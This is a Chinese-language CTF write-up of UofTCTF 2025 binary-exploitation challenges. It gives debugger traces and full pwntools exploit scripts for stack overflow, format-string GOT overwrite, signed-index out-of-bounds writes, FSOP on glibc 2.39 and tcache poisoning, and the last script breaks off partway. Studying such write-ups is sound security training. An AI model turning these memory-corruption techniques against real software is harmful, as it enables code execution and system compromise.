附件地址:https://r3kapig-not1on.notion.site/UofTCTF-2025-Jeopardy-17aec1515fb9803bb664e290f67166c9
baby-pwn
签到题


栈溢出到后门函数就行,注意下amd64的16字节对齐就行
exp
from pwn import *
context(arch="amd64",os="linux",log_level='debug')
io=process("./baby-pwn")
io.recvuntil(b"Enter some text: ")
ret=0x40101a
payload= b'A'*72 +p64(ret)+p64(0x401166)
io.sendline(payload)
io.interactive()
baby-pwn-2


同样是签到题难度,泄露了栈内存的地址,直接写shellcraft就行,最后利用栈溢出覆盖返回地址到这个泄漏的地址上
不过这里不用shellcraft.sh()的原因是给的地址到rbp的距离空间太小了,shellcraft.sh()的push次数太多,会让rsp上移到布置shellcode的位置
exp
from pwn import *
context(arch='amd64', os='linux')
binary = './baby-pwn-2'
elf = ELF(binary)
io = process(binary)
io.recvline()
leaked_address = int(io.recvline().decode().split(":")[1].strip(), 16)
print(hex(leaked_address))
shellcode=asm(shellcraft.execve('/bin/sh', 0, 0))
print(shellcraft.execve('/bin/sh', 0, 0))
payload = shellcode.ljust(64, b'a')
payload += b'a' * 8
payload += p64(leaked_address)
io.sendline(payload)
io.interactive()
echo


栈溢出+格式化字符串
buf占用1个字节,canary在rbp-8h处
在printf下个断点调试看看

观察到rbp+8h处的返回地址写着0x555555555275 (main+44),写入的内容从rbp-9h处开始,1字节作为format参数,剩下的内容从rbp-8h处开始存,可以知道0x555555555275是在printf的第9个格式化字符串槽位(6+3),同时还可以知道在没有随机化的情况下main函数的真实地址是0x555555555275-44(偏移)=0x555555555249
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x555555554000 0x555555555000 r--p 1000 0 chall
0x555555555000 0x555555556000 r-xp 1000 1000 chall
0x555555556000 0x555555557000 r--p 1000 2000 chall
0x555555557000 0x555555558000 r--p 1000 2000 chall
0x555555558000 0x555555559000 rw-p 1000 3000 chall
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0 [anon_7ffff7e1c]
0x7ffff7fa8000 0x7ffff7fab000 rw-p 3000 0 [anon_7ffff7fa8]
0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0 [anon_7ffff7fbb]
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
由于系统分配的栈地址前缀都相同,思路就是先利用栈溢出把第九个槽位的地址覆盖为为stack_chk_fail的got表地址,再用格式化字符串漏洞把这个槽位里的地址的末位改成main函数的地址末位,就可以把stack_chk_fail的got表的调用改成调用main函数了,接着检查canary触发stack_chk_fai,返回main函数,再进行第二次格式化字符串漏洞利用,泄露main函数地址,减去偏移得到pie基址,接着再触发canary检查返回main函数,第三次使用格式化字符串漏洞泄露read函数地址,进而拿到libc基地址,最后通过fmtstr_payload把printf的got表修改为system拿shell就行

拿到stack_chk_fail的偏移0x4018
即没有随机化的地址是stack_chk_fail0x555555558018,取末位8018,以小端序的形式写入栈中
exp
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'
elf = ELF("./chall", checksec=False)
attempt = 0
while True:
attempt += 1
try:
log.info(f"=== attempt #{attempt} ===")
io = process("./chall")
libc = elf.libc
buf = b"%21065c%9$hn"
buf += b"A"*(0x11 - len(buf))
buf += b"\x18\x80"
io.send(buf)
# pie leak
sleep(0.5)
buf = b"%9$p"
io.sendline(buf)
io.recvuntil(b"0x")
pie_leak = int(io.recvuntil(b"\n"), 16)
pie_base = pie_leak - 0x1275
print("pie_leak =", hex(pie_leak))
print("pie_base =", hex(pie_base))
io.recvn(10)
# libc leak
buf = b"%8$s"
buf += b"A"*(0x9 - len(buf))
buf += p64(pie_base + elf.got.read)
io.sendline(buf)
read_addr = u64(io.recvn(6) + b"\x00\x00")
libc_base = read_addr - libc.sym.read
print("read_addr =", hex(read_addr))
print("libc_base =", hex(libc_base))
index = 7
system_addr = libc_base + libc.sym.system
writes = {pie_base + elf.got.printf: system_addr}
buf = b"A"
buf += fmtstr_payload(index, writes, numbwritten=1, write_size='byte')
io.sendline(buf)
io.send(b"/bin/sh\x00")
io.interactive()
break
except KeyboardInterrupt:
raise
except Exception as e:
try:
io.close()
except:
pass
log.warning(f"attempt #{attempt} failed: {e}")
continue
由于需要运行时脚本中的地址都是在b”%21065c%9$hn”的基础上算的,所以实际运行的地址低4位必须匹配这个才能打通,每次运行成功的概率为2的4次方=1/16,所以我加了一个失败重试的循环
Book Editor


一道堆菜单题目,这里booksize是无符号数,并且malloc没有错误检查
发送 -1
bookSize = -1 → 0xffffffffffffffff
malloc 失败,book = NULL
但程序继续运行

再看editbook函数
read(0, (char *)book + v1, -v1 + bookSize - 1)
这里book如果等于null且booksize非常大,那么book + v1就相等于v1,v1又由我们控制输入,相当于可以实现任意地址读入任意数据
接着利用这点可以在book的全局变量地址处覆盖为puts的got表,现在:book = GOT.puts
再用read()读book,通过 printf(“%s”, book) 泄露出puts got处的内容(puts的真实地址),借此计算 libc 基址
进而可以得到IO_2_1_stdout和system的真实地址
可以再用edit()覆盖book处为IO_2_1_stdout的地址,现在 book 指向了 stdout FILE 结构
接着打FSOP,用edit()来编辑stdout FILE的内容
我这里用到的glibc版本是2.39
exp
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'
BINARY = "./chall"
elf = ELF(BINARY, checksec=False)
io= process(BINARY)
libc = elf.libc
def debug(cmd=''):
gdb.attach(io,cmd)
pause()
def Edit1(pos, data):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"edit: ", str(pos).encode())
io.recvuntil(b": ")
io.recvn(10)
io.sendline(data)
def Edit2(pos, data):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"edit: ", str(pos).encode())
io.recvuntil(b": ")
io.recvn(7)
io.sendline(data)
def Read():
io.sendlineafter(b"> ", b"2")
def Exit():
io.sendline(b"3")
io.sendlineafter(b"be: ", str(-1).encode())
io.sendlineafter(b"book: ", b"A"*0x10)
Edit1(elf.sym.book, p64(elf.got.puts)+p64(0x10000))
Read()
io.recvuntil(b"book: ")
puts_addr = u64(io.recvn(6)+b"\x00\x00")
libc_base = puts_addr - libc.sym.puts
print("puts_addr =", hex(puts_addr))
print("libc_base =", hex(libc_base))
stdout_addr = libc_base + libc.sym._IO_2_1_stdout_
Edit1(elf.sym.book-elf.got.puts, p64(stdout_addr))
# FSOP
buf = p32(0xfbad0101) + b";sh\0"
buf += p64(0) * 10
buf += p64(libc_base + libc.sym.system)
buf += p64(0) * 5
buf += p64(libc_base + 0x205700)
buf += p64(0) * 2
buf += p64(libc_base + libc.sym._IO_2_1_stdout_ - 0x10)
buf += p64(0) * 3
buf += p32(1) + p32(0) + p64(0)
buf += p64(libc_base + libc.sym._IO_2_1_stdout_ - 0x10)
buf += p64(libc_base + libc.sym._IO_wfile_jumps + 0x18 - 0x58)
Edit2(0, buf)
# start system("sh")
Exit()
io.interactive()
构造的 _IO_FILE 结构
[偏移] [字段名称] [大小] [值] [用途]
──────────────────────────────────────────────
0x00 _flags 4字节 0xfbad0101 ← 魔数+标志
0x04 命令字符串 4字节 ";sh\0" ← shell 命令
0x08 _IO_read_ptr 8字节 0x0000000000000000
0x10 _IO_read_end 8字节 0x0000000000000000
0x18 _IO_write_ptr 8字节 0x0000000000000000
0x20 _IO_write_end 8字节 0x0000000000000000
0x28 _IO_buf_base 8字节 0x0000000000000000
0x30 _IO_buf_end 8字节 0x0000000000000000
0x38 _IO_save_base 8字节 0x0000000000000000
0x40 _IO_backup_base 8字节 0x0000000000000000
0x48 _IO_save_end 8字节 0x0000000000000000
0x50 _IO_marker 8字节 0x0000000000000000
0x58 系统函数指针 SYSTEM 8字节 0x7ffff7c50d80 ← system 地址
0x60 _IO_wide_data 8字节 0x0000000000000000
0x68 _IO_codecvt 8字节 0x0000000000000000
0x70 _IO_widebuf_base 8字节 0x0000000000000000
0x78 _IO_widebuf_end 8字节 0x0000000000000000
0x80 _IO_widebuf_ptr 8字节 0x0000000000000000
0x88 链表/特殊指针 8字节 0x7ffff7de5700 ← stdout-0x10
0x90 填充 16字节 0x0000000000000000
0xa0 _IO_lock_t 8字节 0x7ffff7de5550 ← stdout-0x10
0xa8 填充 24字节 0x0000000000000000
0xc0 _mode 4字节 0x00000001 ← 宽字符模式
0xc4 _unused2 4字节 0x00000000
0xc8 填充 8字节 0x0000000000000000
0xd0 _chain / _next_chain 8字节 0x7ffff7de5550 ← stdout-0x10
0xd8 vtable 指针 VTABLE 8字节 0x7ffff7de4e28 ← 虚函数表地址
Counting Sort


sort函数,实现一个输入并计数,然后按照计数重复输出字符的功能,分配了一个272字节的数组V9,但是这里实际上只用到256个字节,使V7作为数组开头的指针,并且没有对输入的内容做检查
再之后会对输入的内容遍历,在数组字符对应的位置地址的值+1

看汇编这里输入的地方存在符号扩展,用的是有符号 char 当下标
在 signed char 的语境下,所有输入的 0x80 ~ 0xFF 的字节,都会被当成负数
那么就可以利用这点,使得可以对V9数组之前的字节进行操作,造成数组溢出
看下当前sort函数的rbp附近
pwndbg> x/20gx $rbp
0x7fffffffdd70: 0x00007fffffffdd80 0x00005555555554bc
0x7fffffffdd80: 0x00007fffffffde20 0x00007ffff7c2a1ca
0x7fffffffdd90: 0x00007fffffffddd0 0x00007fffffffdea8
0x7fffffffdda0: 0x0000000155554040 0x00005555555554a0
0x7fffffffddb0: 0x00007fffffffdea8 0x1d13f5c82dfa6c7b
0x7fffffffddc0: 0x0000000000000001 0x0000000000000000
0x7fffffffddd0: 0x0000555555557d98 0x00007ffff7ffd000
0x7fffffffdde0: 0x1d13f5c82a9a6c7b 0x1d13e5b2d2b86c7b
0x7fffffffddf0: 0x00007fff00000000 0x0000000000000000
0x7fffffffde00: 0x0000000000000000 0x0000000000000001
注意到rbp存的是main的save rbp:0x00007fffffffdd80,而main的save rbp处存的又是libc_start_call_main的save rbp:0x00007fffffffde20(伏笔)
返回地址是main+28
pwndbg> x/20i 0x00005555555554bc
0x5555555554bc <main+28>: mov eax,0x0
0x5555555554c1 <main+33>: pop rbp
0x5555555554c2 <main+34>: ret
0x5555555554c3: add bl,dh
0x5555555554c5 <_fini+1>: nop edx
0x5555555554c8 <_fini+4>: sub rsp,0x8
0x5555555554cc <_fini+8>: add rsp,0x8
0x5555555554d0 <_fini+12>: ret
0x5555555554d1: add BYTE PTR [rax],al
0x5555555554d3: add BYTE PTR [rax],al
0x5555555554d5: add BYTE PTR [rax],al
0x5555555554d7: add BYTE PTR [rax],al
0x5555555554d9: add BYTE PTR [rax],al
0x5555555554db: add BYTE PTR [rax],al
0x5555555554dd: add BYTE PTR [rax],al
0x5555555554df: add BYTE PTR [rax],al
0x5555555554e1: add BYTE PTR [rax],al
0x5555555554e3: add BYTE PTR [rax],al
0x5555555554e5: add BYTE PTR [rax],al
0x5555555554e7: add BYTE PTR [rax],al
注意到rbp+0x18的位置还存着<__libc_start_call_main+122>
pwndbg> x/20i 0x7ffff7c2a1ca
0x7ffff7c2a1ca <__libc_start_call_main+122>: mov edi,eax
0x7ffff7c2a1cc <__libc_start_call_main+124>: call 0x7ffff7c47ba0 <__GI_exit>
0x7ffff7c2a1d1 <__libc_start_call_main+129>: call 0x7ffff7c99290 <__GI___nptl_deallocate_tsd>
0x7ffff7c2a1d6 <__libc_start_call_main+134>:
lock sub DWORD PTR [rip+0x1d8ef2],0x1 # 0x7ffff7e030d0 <__nptl_nthreads>
0x7ffff7c2a1de <__libc_start_call_main+142>: je 0x7ffff7c2a1f0 <__libc_start_call_main+160>
0x7ffff7c2a1e0 <__libc_start_call_main+144>: mov edx,0x3c
0x7ffff7c2a1e5 <__libc_start_call_main+149>: nop DWORD PTR [rax]
0x7ffff7c2a1e8 <__libc_start_call_main+152>: xor edi,edi
0x7ffff7c2a1ea <__libc_start_call_main+154>: mov eax,edx
0x7ffff7c2a1ec <__libc_start_call_main+156>: syscall
0x7ffff7c2a1ee <__libc_start_call_main+158>: jmp 0x7ffff7c2a1e8 <__libc_start_call_main+152>
0x7ffff7c2a1f0 <__libc_start_call_main+160>: xor eax,eax
0x7ffff7c2a1f2 <__libc_start_call_main+162>: jmp 0x7ffff7c2a1ca <__libc_start_call_main+122>
0x7ffff7c2a1f4: data16 cs nop WORD PTR [rax+rax*1+0x0]
0x7ffff7c2a1ff: nop
0x7ffff7c2a200 <__libc_start_main_impl>: endbr64
0x7ffff7c2a204 <__libc_start_main_impl+4>: push rbp
0x7ffff7c2a205 <__libc_start_main_impl+5>: mov rbp,rsp
0x7ffff7c2a208 <__libc_start_main_impl+8>: push r15
0x7ffff7c2a20a <__libc_start_main_impl+10>: mov r15,rcx
再看下main函数附近
pwndbg> x/10i &main
0x5555555554a0 <main>: endbr64
0x5555555554a4 <main+4>: push rbp
0x5555555554a5 <main+5>: mov rbp,rsp
=> 0x5555555554a8 <main+8>: mov eax,0x0
0x5555555554ad <main+13>: call 0x5555555551e9 <setup>
0x5555555554b2 <main+18>: mov eax,0x0
0x5555555554b7 <main+23>: call 0x555555555230 <sort>
0x5555555554bc <main+28>: mov eax,0x0
0x5555555554c1 <main+33>: pop rbp
0x5555555554c2 <main+34>: ret
那么我们可以利用先前的漏洞去改写V9数组之前的指针V7,使它指向的数组开头移到rbp的附近,进而改写返回地址,可以改写成<main+5>,这样就可以造成循环,sort结束后返回<main+5>,继续进到sort
具体的思路,v7的位置是rbp-120h,指向的v9是rbp-110h,按顺序连续输入0xf0~0xe1的字符,符号扩展会解析为-16~-31
通过v0 = (char )v9 + buf[i]; ++v0的递归一直打向v7所在的位置,使它的最低字节一直 +1,可以使v7指向rbp – 0x100,再发送一次0xe1,可以把v7指向的「第二个字节」+1,使得数组位置直接+0x100,刚刚好到达rbp,接着继续利用v0 = (char )v9 + buf[i]; ++v0对rbp+8的返回地址进行改写操作,改到sort函数前面
也就是main+5的位置,(如果改到main+0 或 main+4,又会执行一遍 push rbp,栈就乱了(多压了一层 rbp,返回链会炸)
接着从已经打印出的字符中计数,对于每个字符 c,它被打印的次数组成对应的各个地址
借此泄露libc_start_call_main+122,再利用偏移得到libc基址
看下vmmap
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x555555554000 0x555555555000 r--p 1000 0 chall
0x555555555000 0x555555556000 r-xp 1000 1000 chall
0x555555556000 0x555555557000 r--p 1000 2000 chall
0x555555557000 0x555555558000 r--p 1000 2000 chall
0x555555558000 0x555555559000 rw-p 1000 3000 chall
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fa8000 0x7ffff7fab000 rw-p 3000 0 [anon_7ffff7fa8]
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
0x7ffff7fbf000 0x7ffff7fc1000 r--p 2000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r--p 2000 0 [vvar_vclock]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
得到libc在内存里的0x7ffff7c00000 基址,算偏移:0x7ffff7c2a1ca – 0x7ffff7c00000= 0x2a1ca
拿到libc基址后,接着sort结束返回,进行第二次sort,可以借助one_gadget工具来打,我这里用的本地libc打的(glibc2.39)

找到个简单的条件,要求[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
我们先看下<__libc_start_call_main>这里
pwndbg> x/80i 0x7FFFF7C2A150
0x7ffff7c2a150 <__libc_start_call_main>: push rbp
0x7ffff7c2a151 <__libc_start_call_main+1>: mov rbp,rsp
0x7ffff7c2a154 <__libc_start_call_main+4>: sub rsp,0x90
0x7ffff7c2a15b <__libc_start_call_main+11>: mov QWORD PTR [rbp-0x78],rdi
0x7ffff7c2a15f <__libc_start_call_main+15>: lea rdi,[rbp-0x70]
0x7ffff7c2a163 <__libc_start_call_main+19>: mov DWORD PTR [rbp-0x7c],esi
0x7ffff7c2a166 <__libc_start_call_main+22>: mov QWORD PTR [rbp-0x88],rdx
0x7ffff7c2a16d <__libc_start_call_main+29>: mov rax,QWORD PTR fs:0x28
0x7ffff7c2a176 <__libc_start_call_main+38>: mov QWORD PTR [rbp-0x8],rax
0x7ffff7c2a17a <__libc_start_call_main+42>: xor eax,eax
0x7ffff7c2a17c <__libc_start_call_main+44>:
call 0x7ffff7c44fa0 <__GI__setjmp>
0x7ffff7c2a181 <__libc_start_call_main+49>: endbr64
0x7ffff7c2a185 <__libc_start_call_main+53>: test eax,eax
0x7ffff7c2a187 <__libc_start_call_main+55>:
jne 0x7ffff7c2a1d1 <__libc_start_call_main+129>
0x7ffff7c2a189 <__libc_start_call_main+57>: mov rax,QWORD PTR fs:0x300
0x7ffff7c2a192 <__libc_start_call_main+66>: mov QWORD PTR [rbp-0x28],rax
0x7ffff7c2a196 <__libc_start_call_main+70>: mov rax,QWORD PTR fs:0x2f8
0x7ffff7c2a19f <__libc_start_call_main+79>: mov QWORD PTR [rbp-0x20],rax
0x7ffff7c2a1a3 <__libc_start_call_main+83>: lea rax,[rbp-0x70]
0x7ffff7c2a1a7 <__libc_start_call_main+87>: mov QWORD PTR fs:0x300,rax
0x7ffff7c2a1b0 <__libc_start_call_main+96>:
mov rax,QWORD PTR [rip+0x1d8de9] # 0x7ffff7e02fa0
0x7ffff7c2a1b7 <__libc_start_call_main+103>: mov rsi,QWORD PTR [rbp-0x88]
0x7ffff7c2a1be <__libc_start_call_main+110>: mov edi,DWORD PTR [rbp-0x7c]
0x7ffff7c2a1c1 <__libc_start_call_main+113>: mov rdx,QWORD PTR [rax]
0x7ffff7c2a1c4 <__libc_start_call_main+116>: mov rax,QWORD PTR [rbp-0x78]
0x7ffff7c2a1c8 <__libc_start_call_main+120>: call rax
0x7ffff7c2a1ca <__libc_start_call_main+122>: mov edi,eax
观察到<__libc_start_call_main+120>: call rax执行main函数,然后会返回到<__libc_start_call_main+122>,而<__libc_start_call_main+122>我们刚好也可以改写
那么我们和第一次进到sort函数一样,先把数组指针指到rbp,然后把<__libc_start_call_main+122>改成one_gadget
注意上面提到的伏笔,我们知道了libc_start_call_main的save rbp:0x00007fffffffde20,要满足onegadget的条件,就要让这个rbp-0x78指向0
0x7fffffffde20 – 0x78 = 0x7fffffffdda8
pwndbg> x/20gx 0x7fffffffdda0
0x7fffffffdda0: 0x0000000155554040 0x00005555555554a0
^ 这里就是 [0x7fffffffdda8]
0x7fffffffddb0: 0x00007fffffffdea8 0xf11cf4bd706c8515
0x7fffffffddc0: 0x0000000000000001 0x0000000000000000
0x7fffffffddd0: 0x0000555555557d98 0x00007ffff7ffd000
0x7fffffffdde0: 0xf11cf4bd770c8515 0xf11ce4c78f2e8515
0x7fffffffddf0: 0x00007fff00000000 0x0000000000000000
0x7fffffffde00: 0x0000000000000000 0x0000000000000001
0x7fffffffde10: 0x00007fffffffdea0 0x8250bf18b0ea0900
0x7fffffffde20: 0x00007fffffffde80 0x00007ffff7c2a28b
0x7fffffffde30: 0x00007fffffffdeb8 0x0000555555557d98
所以最终exp构造如下
from pwn import *
context(os='linux', arch='amd64')
#context.log_level = 'debug'
BINARY = "./chall"
elf = ELF(BINARY, checksec=False)
io = process(BINARY)
libc = elf.libc
def debug(cmd=""):
gdb.attach(io,cmd)
def Get_addr(pos):
addr = 0
cnt = 0
for j in range(6):
p0 = pos + j
io.recvuntil(p0.to_bytes())
for i in range(0x100):
b = io.recvn(1)
cnt += 1
if b != p0.to_bytes():
break
addr += (cnt)<<(8*j)
cnt = 1
return addr
def Change_address(pos, before, after):
buf = b""
for i in range(3):
p0 = pos + i
c0 = ((after>>(8*i))&0xff) - ((before>>(8*i))&0xff)
if c0 < 0:
c0 += 0x100
if i == 0:
c0 -= 1
buf += p0.to_bytes()*c0
return buf
# Change return address to (main+5)
buf = b""
for i in range(0x10):
a = 0xf0-i
buf += a.to_bytes()
print(buf)
io.send(buf+b"\xe1"+b"\x08"*(0x1a5-0xbc))
# stack leak
stack_leak = Get_addr(0x10)
print("stack_leak =", hex(stack_leak))
# libc leak (__libc_start_call_main+122)
libc_leak = Get_addr(0x18)
libc_base = libc_leak - 0x2a1c9
print("libc_leak =", hex(libc_leak))
print("libc_base =", hex(libc_base))
io.recvuntil(b"\xa0")
one_gadget = libc_base + 0xef52b # 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# Change __libc_start_call_main+122 => one_gadget
buf = b""
for i in range(0x10):
a = 0xf0-i
buf += a.to_bytes()
buf += b"\xe1"
buf += b"\x10"*0x30 # for [rbp-0x78] == NULL
buf += Change_address(0x18, libc_leak, one_gadget)
io.send(buf)
io.interactive()
Hash Table As a Service

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x555555554000 0x555555555000 r--p 1000 0 chall
0x555555555000 0x555555556000 r-xp 1000 1000 chall
0x555555556000 0x555555557000 r--p 1000 2000 chall
0x555555557000 0x555555558000 r--p 1000 2000 chall
0x555555558000 0x555555559000 rw-p 1000 3000 chall
0x555555559000 0x55555555a000 rw-p 1000 5000 chall
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fba000 0x7ffff7fbf000 rw-p 5000 0 [anon_7ffff7fba]
0x7ffff7fbf000 0x7ffff7fc1000 r--p 2000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r--p 2000 0 [vvar_vclock]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

可以先利用Hash 冲突跨越user区写到top chunk的prev size区,先把top chunk size改了,再申请新的堆,大小接近top chunk的大小,制造出unsortedbin,利用指针泄露出libc的main area地址,减去偏移得到libc基址,再创建tcachebin,泄露heap,
接着进行tcache投毒,再改到 environ-偏移 ⇒ Get 出 栈地址
最后覆写返回地址
用大 key 精准踩到 saved RIP,写入 one_gadget = libc_base + 0x583dc
Exit() 返回 ⇒ 命中 gadget ⇒ 拿 shell
wyh@wyh-VMware-Virtual-Platform:~/桌面/uoftctf d$ one_gadget libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
exp
#!/usr/bin/env python3
# Local Ubuntu 24.04
from pwn import *
context(os='linux', arch='amd64')
# context.log_level = 'error' # keep quiet; uncomment for troubleshooting
BINARY = "./chall"
elf = ELF(BINARY, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
def run_once():
"""
Run the original exploit logic once against a fresh process.
Return a live tube if shell is obtained; otherwise None.
"""
io = process(BINARY)
io.timeout = 2.0 # avoid hanging forever on recv
# --- keep original helpers but bind to this io ---
def New(idx, size):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b": ", str(idx).encode())
io.sendlineafter(b": ", str(size).encode())
def Set(idx, key, value):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b": ", str(idx).encode())
io.sendlineafter(b": ", str(key).encode())
io.sendafter(b": ", value)
def Get(idx, key):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b": ", str(idx).encode())
io.sendlineafter(b": ", str(key).encode())
def Exit():
io.sendlineafter(b"> ", b"4")
try:
# 程序想用 0x24 字节数组,但 glibc 实际只给了 0x20 字节的 user 区
New(0, 3)
Set(0, 3, b"A"*8)
Set(0, 1, b"B"*8)
Set(0, 2, b"C"*8)
Set(0, 0, p64(0xd41))
# make unsortedbin
New(1, 0xd41//0xc)
# libc leak
New(2, 3)
Set(2, 3, b"A"*8)
Set(2, 6, b"B"*8)
Set(2, 9, b"C"*8)
New(3, 4)
Set(3, 3, b"A"*8)
Set(3, 2, b"B"*8)
Get(3, 0)
io.recvuntil(b"Value: ", timeout=2.0)
libc_leak = u64(io.recvn(6) + b"\x00\x00")
libc_base = libc_leak - 0x203b20
log.info(f"[libc] leak={hex(libc_leak)} base={hex(libc_base)}")
# make 0x230 size tcachebin #1
New(4, 0xca0//0xc)
New(5, 4)
Set(5, 4, b"A"*8)
Set(5, 1, b"B"*8)
Set(5, 2, b"C"*8)
Set(5, 3, b"D"*8)
New(6, 3)
Set(6, 3, b"A"*8)
Set(6, 6, b"B"*8)
Set(6, 9, b"C"*8)
Set(6, 0, p64(0x251))
New(7, 0xd41//0xc)
# heap leak
Set(6, 0, p64(0x500000251))
Get(5, 5)
io.recvuntil(b"Value: ", timeout=2.0)
heap_leak = u64(io.recvn(5) + b"\x00"*3)
log.info(f"[heap] leak={hex(heap_leak)}")
# make 0x230 size tcachebin #2
New(8, 4)
Set(8, 4, b"A"*8)
Set(8, 1, b"B"*8)
Set(8, 2, b"C"*8)
